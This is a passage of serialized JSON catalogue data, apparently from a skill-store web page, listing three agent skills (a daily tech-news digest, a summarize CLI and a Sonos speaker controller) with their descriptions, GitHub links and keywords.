radar","radar","pulse",{"skillNo":132,"name":133,"nameZh":6,"description":134,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":135,"categories":136,"keywords":137,"publishedAt":44},"01M71ATGF095N3EJM9G8SD0BB5","tech-news-daily","每日科技新闻汇——从全球多个 RSS 源抓取最新科技新闻，翻译（英→中）、去重、排版成每日简报。当用户询问科技新闻、科技新鲜事、每日科技、技术动态、Daily Tech News 或类似表达时触发此技能。","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Ftech-news-daily\u002FSKILL.md",[],[138,139,140,141,142,143],"news","tech","tech news daily","daily","rss","翻译",{"skillNo":145,"name":146,"nameZh":6,"description":147,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":153,"publishedAt":44},"01M71ATFAEAMQ17M70NQNY7SR8","summarize","Summarize URLs or files with the summarize CLI (web, PDFs, images, audio, YouTube).","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Fsummarize\u002FSKILL.md",[150],{"categoryNo":151,"categoryName":152,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",[146,41,154,155,156,94,113,157,158,159,104,160,117],"Audio","cli","youtube","images","https","files","pdfs",{"skillNo":162,"name":163,"nameZh":6,"description":164,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":165,"categories":166,"keywords":167,"publishedAt":44},"01M71ATDNS3R0M4H936PACQAWZ","sonoscli","Control Sonos speakers (discover\u002Fstatus\u002Fplay\u002Fvolume\u002Fgroup).","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Fsonoscli\u002FSKILL.md",[],[163,168,169,170,117,171,158,172,173,174,175,176],"status","play","go","latest","github","discover","control","cmd","volume"]